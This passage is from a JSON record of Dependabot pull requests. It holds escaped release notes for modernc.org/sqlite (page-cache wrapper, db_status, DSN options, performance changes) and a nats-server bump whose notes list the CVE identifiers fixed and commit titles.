pins.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/119\"\u003e#119\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/119\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/119\u003c/a\u003e), thanks Olivier Cochard-Labbé (\u003ca href=\"https://github.com/ocochard\"\u003e\u003ccode\u003e@​ocochard\u003c/code\u003e\u003c/a\u003e)!\u003c/li\u003e\n\u003cli\u003eAdd a Go-facing wrapper for \u003ccode\u003eSQLITE_CONFIG_PCACHE2\u003c/code\u003e. \u003ccode\u003ePageCache\u003c/code\u003e is the factory and \u003ccode\u003eCache\u003c/code\u003e the per-database instance, both idiomatic Go interfaces; \u003ccode\u003ePage\u003c/code\u003e exposes the raw \u003ccode\u003eBuf\u003c/code\u003e and \u003ccode\u003eExtra\u003c/code\u003e pointers that SQLite reads through the C pcache contract. \u003ccode\u003eRegisterPageCache\u003c/code\u003e and \u003ccode\u003eMustRegisterPageCache\u003c/code\u003e install the module process-globally before the first \u003ccode\u003esql.Open\u003c/code\u003e; subsequent Open calls are gated through a one-shot \u003ccode\u003eXsqlite3_config(SQLITE_CONFIG_PCACHE2)\u003c/code\u003e so a too-late Register returns \u003ccode\u003eErrPageCacheTooLate\u003c/code\u003e rather than silently falling through to the built-in pcache1. The binding owns the \u003ccode\u003esqlite3_pcache_page\u003c/code\u003e stub and re-consults the implementation on every Fetch, reusing the stub only when the returned \u003ccode\u003ePage\u003c/code\u003e value is unchanged, which keeps a bounded/evicting purgeable cache safe by construction.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/126\"\u003e#126\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/126\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/126\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003emodernc.org/sqlite/pcache\u003c/code\u003e, the reference page-cache implementation that accompanies the \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/126\"\u003e#126\u003c/a\u003e \u003ccode\u003eSQLITE_CONFIG_PCACHE2\u003c/code\u003e wrapper. \u003ccode\u003epcache.New\u003c/code\u003e returns a \u003ccode\u003e*Pool\u003c/code\u003e satisfying the \u003ccode\u003ePageCache\u003c/code\u003e interface; register it once with \u003ccode\u003esqlite.MustRegisterPageCache(pcache.New())\u003c/code\u003e and every connection opened afterwards draws its pages from it. Each \u003ccode\u003ePool.Create\u003c/code\u003e mints a fresh per-database \u003ccode\u003eCache\u003c/code\u003e: a bounded, LRU-evicting page store that honours the \u003ccode\u003ePRAGMA cache_size\u003c/code\u003e soft cap and releases the least-recently-unpinned page when it must make room. Page memory — the \u003ccode\u003eBuf\u003c/code\u003e and \u003ccode\u003eExtra\u003c/code\u003e buffers SQLite reads through — is allocated with \u003ccode\u003elibc.Xmalloc\u003c/code\u003e/\u003ccode\u003elibc.Xcalloc\u003c/code\u003e and therefore lives off the Go heap, which keeps SQLite's interior pointer arithmetic on the page extras from tripping the race detector's checkptr enforcement. \u003ccode\u003ePool.Stats\u003c/code\u003e reports aggregate lifetime counters (hits, misses, allocs, evictions, rekeys, truncates, caches) across every cache a Pool has created, so hit/miss/eviction behaviour is observable without instrumenting individual caches. Cross-connection page sharing is out of scope for now; each \u003ccode\u003eCreate\u003c/code\u003e returns an independent per-database cache.\u003c/li\u003e\n\u003cli\u003eValidated end-to-end against the \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/126\"\u003e#126\u003c/a\u003e stress workload (\u003ccode\u003ecache_size=16\u003c/code\u003e, 4000 BLOB rows with DELETE and \u003ccode\u003eincremental_vacuum\u003c/code\u003e, \u003ccode\u003eintegrity_check\u003c/code\u003e clean under \u003ccode\u003e-race\u003c/code\u003e) and benchmarked for the memory-utilization goal tracked in [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/204\"\u003e#204\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/204\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/204\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/127\"\u003e#127\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/127\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/127\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eTighten the \u003ccode\u003emodernc.org/sqlite/pcache\u003c/code\u003e reference implementation per cznic's !127 review follow-ups. Adds \u003ccode\u003eStats.EasyRefusals\u003c/code\u003e, a per-Pool counter for the cases where \u003ccode\u003eFetchCreateEasy\u003c/code\u003e returns nil at cap; SQLite reacts to a refusal by spilling dirty pages and retrying with \u003ccode\u003eFetchCreateForce\u003c/code\u003e, so the new field is a direct proxy for the I/O pressure the strict Easy contract imposes vs pcache1's recycle-without-spill behavior. \u003ccode\u003eBenchmarkPoolEvictionChurn\u003c/code\u003e was reworked to drive a rotating-residue DELETE (\u003ccode\u003ek % 3 = i % 3\u003c/code\u003e) and re-insert a matching batch each cycle so the spill pressure recurs and \u003ccode\u003eeasy-refusals/op\u003c/code\u003e scales with \u003ccode\u003eb.N\u003c/code\u003e instead of capping at the seed's one-time first-cycle cost; both existing benchmarks now report \u003ccode\u003eeasy-refusals/op\u003c/code\u003e alongside the page-allocs/evictions metrics. \u003ccode\u003eStats.Evictions\u003c/code\u003e documentation was tightened to match the actual behavior (counts LRU eviction, \u003ccode\u003eUnpin(discard=true)\u003c/code\u003e, \u003ccode\u003eShrink\u003c/code\u003e releases, and \u003ccode\u003eUnpin(discard=false)\u003c/code\u003e trimming back to target after a \u003ccode\u003eFetchCreateForce\u003c/code\u003e overcommit; bulk frees from \u003ccode\u003eTruncate\u003c/code\u003e, \u003ccode\u003eRekey\u003c/code\u003e collisions, and \u003ccode\u003eDestroy\u003c/code\u003e are not counted). The \u003ccode\u003eTestPoolRoundTripIntegrity\u003c/code\u003e comment claiming the workload exercises \u003ccode\u003exRekey\u003c/code\u003e ~15 times has been corrected; the SQL surface does not reliably emit xRekey here, and that codepath is covered by the unit tests instead.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/130\"\u003e#130\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/130\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/130\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eMake \u003ccode\u003emodernc.org/sqlite/pcache\u003c/code\u003e \u003ccode\u003e-race\u003c/code\u003e-clean under SQLite's \u003ccode\u003ecache=shared\u003c/code\u003e mode. The pool already runs correctly under shared-cache because every callback into a given \u003ccode\u003eCache\u003c/code\u003e is serialised internally by SQLite's \u003ccode\u003esqlite3BtreeEnter\u003c/code\u003e on the \u003ccode\u003eBtShared\u003c/code\u003e mutex; verified empirically with a lock-free in-flight probe (max-in-flight = 1 on the canonical two-connection workload, 4 on a positive control with goroutines hitting the cache directly). However the Go race detector does not recognise SQLite's libc mutex as a happens-before edge and reports false-positive races on \u003ccode\u003eFetch\u003c/code\u003e vs \u003ccode\u003eUnpin\u003c/code\u003e reads/writes of the per-cache state, which surfaces as \u003ccode\u003eDATA RACE\u003c/code\u003e failures for any user who registers the pool and runs their suite under \u003ccode\u003e-race\u003c/code\u003e. A \u003ccode\u003esync.Mutex\u003c/code\u003e on the \u003ccode\u003ecache\u003c/code\u003e type is now taken on every public method (\u003ccode\u003eSetSize\u003c/code\u003e, \u003ccode\u003ePageCount\u003c/code\u003e, \u003ccode\u003eFetch\u003c/code\u003e, \u003ccode\u003eUnpin\u003c/code\u003e, \u003ccode\u003eRekey\u003c/code\u003e, \u003ccode\u003eTruncate\u003c/code\u003e, \u003ccode\u003eDestroy\u003c/code\u003e, \u003ccode\u003eShrink\u003c/code\u003e), always. On the common non-shared-cache path the lock is uncontended (one atomic CAS per Lock/Unlock pair, negligible next to the SQLite work it bookends); on the shared-cache path it just rubber-stamps the order SQLite's \u003ccode\u003eBtShared\u003c/code\u003e mutex already established. A new \u003ccode\u003ee2e_test.go\u003c/code\u003e \u003ccode\u003eTestSharedCacheTwoConns_Integrity\u003c/code\u003e drives two \u003ccode\u003esql.Conn\u003c/code\u003e against the same \u003ccode\u003ecache=shared\u003c/code\u003e URI with concurrent writers and asserts \u003ccode\u003ePRAGMA integrity_check = ok\u003c/code\u003e under \u003ccode\u003e-race\u003c/code\u003e; passes cleanly with the lock, would surface the false-positive without it. Design notes live in \u003ccode\u003epcache/sharing.go\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/131\"\u003e#131\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/131\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/131\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eAdd a Go wrapper for \u003ccode\u003esqlite3_db_status\u003c/code\u003e, the per-connection runtime counters (cache hit/miss/write/spill rates, schema and prepared-statement memory, lookaside usage, deferred foreign keys). \u003ccode\u003eDBStatus\u003c/code\u003e is an interface implemented by the driver connection and reached through the \u003ccode\u003edatabase/sql\u003c/code\u003e escape hatch \u003ccode\u003e(*sql.Conn).Raw()\u003c/code\u003e, mirroring the existing \u003ccode\u003eFileControl\u003c/code\u003e surface; \u003ccode\u003eDBStatusOp\u003c/code\u003e is a distinct typed enum of the \u003ccode\u003eSQLITE_DBSTATUS_*\u003c/code\u003e verbs so a counter from a different op family will not compile in its place. \u003ccode\u003eStatus(op, reset)\u003c/code\u003e returns the \u003ccode\u003e(current, high)\u003c/code\u003e pair and optionally resets the counter. This also lets \u003ccode\u003emodernc.org/sqlite/pcache\u003c/code\u003e measure real I/O instead of the \u003ccode\u003eEasyRefusals\u003c/code\u003e proxy: the new \u003ccode\u003eBenchmarkPoolSpillIO\u003c/code\u003e reads the pager-level \u003ccode\u003eSQLITE_DBSTATUS_CACHE_SPILL\u003c/code\u003e/\u003ccode\u003e_CACHE_WRITE\u003c/code\u003e counters, which the pager maintains identically for pcache1 and the pool, making the pcache1-vs-pool comparison cznic raised on the !127 review a genuine apples-to-apples measurement. On the rotating-residue eviction-churn workload at \u003ccode\u003ecache_size=16\u003c/code\u003e the pool spills ~3.5x more than pcache1 (cache-spill/op 31.96 vs 8.96) for ~3% more page writes (cache-write/op 450 vs 436) at identical hit/miss, quantifying the I/O cost of the strict Easy contract that \u003ccode\u003eEasyRefusals\u003c/code\u003e only proxied.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/132\"\u003e#132\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/132\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/132\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eAdd an opt-in \u003ccode\u003e_dqs\u003c/code\u003e DSN query parameter that disables SQLite's double-quoted string literal compatibility quirk on a per-connection basis. When \u003ccode\u003e_dqs=0\u003c/code\u003e (or any \u003ccode\u003estrconv.ParseBool\u003c/code\u003e false value) is supplied, the driver calls \u003ccode\u003esqlite3_db_config\u003c/code\u003e with \u003ccode\u003eSQLITE_DBCONFIG_DQS_DDL\u003c/code\u003e and \u003ccode\u003eSQLITE_DBCONFIG_DQS_DML\u003c/code\u003e set to off before any statement is prepared, so a double-quoted identifier that fails to resolve raises a parse error instead of silently falling back to a string literal. Absence of the parameter, or \u003ccode\u003e_dqs=1\u003c/code\u003e, leaves SQLite's default behavior unchanged; existing DSNs continue to work byte-for-byte. Resolves [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/61\"\u003e#61\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/61\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/61\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/128\"\u003e#128\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/128\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/128\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eAdd an opt-in \u003ccode\u003e_error_rc\u003c/code\u003e DSN query parameter for clearer error reporting on open-time failures. When \u003ccode\u003e_error_rc=1\u003c/code\u003e (or any \u003ccode\u003estrconv.ParseBool\u003c/code\u003e true value) is supplied, error strings synthesised from a \u003ccode\u003e(rc, db)\u003c/code\u003e pair only append \u003ccode\u003esqlite3_errmsg(db)\u003c/code\u003e when \u003ccode\u003esqlite3_extended_errcode(db)\u003c/code\u003e is consistent with the operation rc (full match first, primary code \u003ccode\u003e\u0026amp;0xff\u003c/code\u003e as fallback). On mismatch the canonical \u003ccode\u003esqlite3_errstr(rc)\u003c/code\u003e is used alone, so an open-time \u003ccode\u003eSQLITE_CANTOPEN\u003c/code\u003e no longer carries the temporary handle's stale \u0026quot;out of memory\u0026quot; errmsg. Absence of the parameter, or \u003ccode\u003e_error_rc=0\u003c/code\u003e, preserves the legacy \u0026quot;errstr: errmsg\u0026quot; form byte-for-byte; existing callers that parse error strings are unaffected. The driver's \u003ccode\u003e*Error.Code()\u003c/code\u003e returns the same SQLite result code in both modes. Parsed before \u003ccode\u003esqlite3_open_v2\u003c/code\u003e so open-time errors are covered. Resolves [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/230\"\u003e#230\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/230\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/230\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/129\"\u003e#129\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/129\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/129\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e2026-06-06 v1.52.0:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to \u003ca href=\"https://sqlite.org/releaselog/3_53_2.html\"\u003eSQLite 3.53.2\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eBackup.Remaining\u003c/code\u003e and \u003ccode\u003eBackup.PageCount\u003c/code\u003e, thin wrappers around the existing \u003ccode\u003esqlite3_backup_remaining\u003c/code\u003e and \u003ccode\u003esqlite3_backup_pagecount\u003c/code\u003e C symbols. Together they expose the per-\u003ccode\u003eStep\u003c/code\u003e progress counters that the underlying backup object already maintains, enabling progress reporting during online backups without dropping to \u003ccode\u003emodernc.org/sqlite/lib\u003c/code\u003e directly.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/122\"\u003e#122\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/122\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/122\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eDrop the redundant second copy in \u003ccode\u003e(*conn).columnText\u003c/code\u003e, the path that backs every \u003ccode\u003eRows.Scan\u003c/code\u003e into a Go \u003ccode\u003estring\u003c/code\u003e for a TEXT column. The value's bytes are still copied once out of SQLite-owned memory into a fresh Go buffer; that buffer is then reinterpreted as the result string with \u003ccode\u003eunsafe.String\u003c/code\u003e rather than copied a second time by the implicit \u003ccode\u003estring([]byte)\u003c/code\u003e conversion. This removes one allocation per TEXT value per row and roughly halves the bytes allocated on that path; on the new \u003ccode\u003eBenchmarkColumnTextScan\u003c/code\u003e cases it is ~13–20% faster for payloads of 256 B and larger, with no measurable change for very short strings. Purely internal: no API or behavioral change, and the returned string never aliases SQLite's buffer.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/123\"\u003e#123\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/123\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/123\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eCache each result column's declared type once per result set in \u003ccode\u003enewRows\u003c/code\u003e instead of recomputing it on every row. The TEXT branch of \u003ccode\u003eRows.Next\u003c/code\u003e calls \u003ccode\u003eColumnTypeDatabaseTypeName\u003c/code\u003e for every TEXT column on every row (independent of any DSN flag), which previously did a \u003ccode\u003elibc.GoString\u003c/code\u003e + \u003ccode\u003estrings.ToUpper\u003c/code\u003e each time; that lookup is now a single index into a cached, pre-uppercased \u003ccode\u003e[]string\u003c/code\u003e, and \u003ccode\u003eColumnTypeScanType\u003c/code\u003e reads the same cache and drops its per-call \u003ccode\u003estrings.ToLower\u003c/code\u003e. The declared type is fixed for the lifetime of a prepared statement, so the C round-trip is paid once per column rather than once per column per row, removing exactly 1 alloc + 8 B per TEXT column per row from the \u003ccode\u003eNext\u003c/code\u003e hot path. The new \u003ccode\u003eBenchmarkTextToTimeScan\u003c/code\u003e cases show ~7% faster on a 1000-row DATETIME SELECT under \u003ccode\u003e_texttotime=1\u003c/code\u003e. Purely internal: \u003ccode\u003eColumnTypeDatabaseTypeName\u003c/code\u003e and \u003ccode\u003eColumnTypeScanType\u003c/code\u003e return identical values, no API or behavioral change.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/124\"\u003e#124\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/124\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/124\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eCache, per result column, the \u003ccode\u003eparseTimeFormats\u003c/code\u003e index that first parsed a TEXT-stored DATE/DATETIME/TIMESTAMP value, and try that format first on later rows instead of re-walking the list from the top. \u003ccode\u003e(*conn).parseTime\u003c/code\u003e previously ran \u003ccode\u003etime.Parse\u003c/code\u003e down the format list on every such row; for the canonical SQLite TEXT datetime format every row paid two failed \u003ccode\u003etime.Parse\u003c/code\u003e attempts — each allocating a \u003ccode\u003e*time.ParseError\u003c/code\u003e — before the match. On a 1000-row DATETIME TEXT SELECT this cuts ~50% of allocs/op and ~57% of B/op and is ~37% faster. The fall-through chain is preserved exactly: the seven formats are mutually exclusive, so the cached hint can never select a different match than the in-order scan, and the parsed \u003ccode\u003edriver.Value\u003c/code\u003e is identical to before. Purely internal: no API or behavioral change.\u003c/li\u003e\n\u003cli\u003eSee [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/125\"\u003e#125\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/125\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/125\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e2026-05-28 v1.51.0:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePool the \u003ccode\u003e[]driver.Value\u003c/code\u003e slice passed to scalar/aggregate UDF callbacks and to vtab \u003ccode\u003eFilter\u003c/code\u003e/\u003ccode\u003eInsert\u003c/code\u003e/\u003ccode\u003eUpdate\u003c/code\u003e callbacks, eliminating the dominant per-row allocation on UDF-heavy queries. Benchmarks on a 1000-row, 3-arg noop scalar UDF show ~40% fewer bytes/op and ~15% fewer allocs/op.\u003c/li\u003e\n\u003cli\u003eDocument the matching \u0026quot;arguments are not valid past return\u0026quot; contract on \u003ccode\u003evtab.Cursor.Filter\u003c/code\u003e and \u003ccode\u003evtab.Updater.Insert\u003c/code\u003e/\u003ccode\u003eUpdate\u003c/code\u003e, consistent with the existing rule for \u003ccode\u003eFunctionImpl.Scalar\u003c/code\u003e / \u003ccode\u003eAggregateFunction.Step\u003c/code\u003e / \u003ccode\u003eWindowInverse\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eResolves [GitLab issue \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/226\"\u003e#226\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/issues/226\"\u003ehttps://gitlab.com/cznic/sqlite/-/issues/226\u003c/a\u003e). See [GitLab merge request \u003ca href=\"https://gitlab.com/cznic/sqlite/issues/114\"\u003e#114\u003c/a\u003e](\u003ca href=\"https://gitlab.com/cznic/sqlite/-/merge_requests/114\"\u003ehttps://gitlab.com/cznic/sqlite/-/merge_requests/114\u003c/a\u003e), thanks Ian Chechin!\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eFileControl.FileControlDataVersion\u003c/code\u003e, a wrapper around \u003ccode\u003eSQLITE_FCNTL_DATA_VERSION\u003c/code\u003e for observing pager-cache data-version changes, including those made on the same connection. Useful a...\n\n_Description has been truncated_","html_url":"https://github.com/olucasandrade/kaptanto/pull/18","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/olucasandrade%2Fkaptanto/issues/18","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/18/packages"}},{"old_version":"2.11.4","new_version":"2.11.15","update_type":"patch","path":null,"pr_created_at":"2026-06-13T22:51:21.000Z","version_change":"2.11.4 → 2.11.15","issue":{"uuid":"4657202956","node_id":"PR_kwDOOJZaS87mJd6Y","number":234,"state":"open","title":"Bump github.com/nats-io/nats-server/v2 from 2.11.4 to 2.11.15","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-13T22:51:21.000Z","updated_at":"2026-06-13T22:55:29.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.11.4","new_version":"2.11.15","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.11.4 to 2.11.15.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.11.15\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_211\"\u003e2.11 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.10.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.49.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7953\"\u003e#7953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/antithesishq/antithesis-sdk-go v0.6.0-default-no-op\u003c/li\u003e\n\u003cli\u003egithub.com/klauspost/compress v1.18.4\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.49.0\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nkeys v0.4.15\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes CVE-2026-33216, CVE-2026-33217, CVE-2026-33215 (affecting systems using MQTT)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33246 (affects systems using leafnodes and service imports)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33218 (affects systems using leafnodes)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33219 (affects systems using WebSockets)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33223, CVE-2026-33222 (affects systems using JetStream)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33248 (affects systems using mutual TLS)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33247 (affects systems providing credentials on the command line)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33249 (affects systems where client publish permissions should be restricted)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThere is now a 1MB size limit on JWTs (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe stream peer-remove command now accepts a peer ID as well as a server name (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7952\"\u003e#7952\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eProtocol compliance has been improved, including more error handling on invalid or malformed MQTT packets (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7933\"\u003e#7933\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproved handling of duplicate headers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/bef17e1d9de6574fae0eabe1798db0d4529834e4\"\u003e\u003ccode\u003ebef17e1\u003c/code\u003e\u003c/a\u003e Release v2.11.15\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e349b316b7ddb7ea1c970cb800095492d3107e5f\"\u003e\u003ccode\u003ee349b31\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.11.15 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/62\"\u003e#62\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/782a6df61b9faafc6fb22a22e8601db3d46301af\"\u003e\u003ccode\u003e782a6df\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid stalling read loop on leafnode ErrMinimumVersionRequired\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/74a5f6fd2a9303edc04eab481ebd0ee87bd2af9f\"\u003e\u003ccode\u003e74a5f6f\u003c/code\u003e\u003c/a\u003e Remove FIXME about auth callout nonce\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/ea8ae87badca22c13445bd526a9ba94c33a93f10\"\u003e\u003ccode\u003eea8ae87\u003c/code\u003e\u003c/a\u003e Message tracing requires client publish permission for \u003ccode\u003eNats-Trace-Dest\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3fd43a0a07d56d8e32f5f01d3032281a6dda22f4\"\u003e\u003ccode\u003e3fd43a0\u003c/code\u003e\u003c/a\u003e Rebuild request info headers on leaf service imports\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/8dbf004d17e944bea68b2a1e194b582921ae108e\"\u003e\u003ccode\u003e8dbf004\u003c/code\u003e\u003c/a\u003e [FIXED] MQTT flappers use monotonic time\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/265a99b9ac09ad682291b9fe3f5a459b0e496a6f\"\u003e\u003ccode\u003e265a99b\u003c/code\u003e\u003c/a\u003e Update JWT and other dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d6d1dd91c3a92a6e7c59e58a9f82ee9a64bd7443\"\u003e\u003ccode\u003ed6d1dd9\u003c/code\u003e\u003c/a\u003e Streaming parsing of WebSocket frames with limited memory allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e6057af102d530ea18f20744447845876749b9b1\"\u003e\u003ccode\u003ee6057af\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid parsing trace headers from HPUB payload\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.11.4...v2.11.15\"\u003ecompare 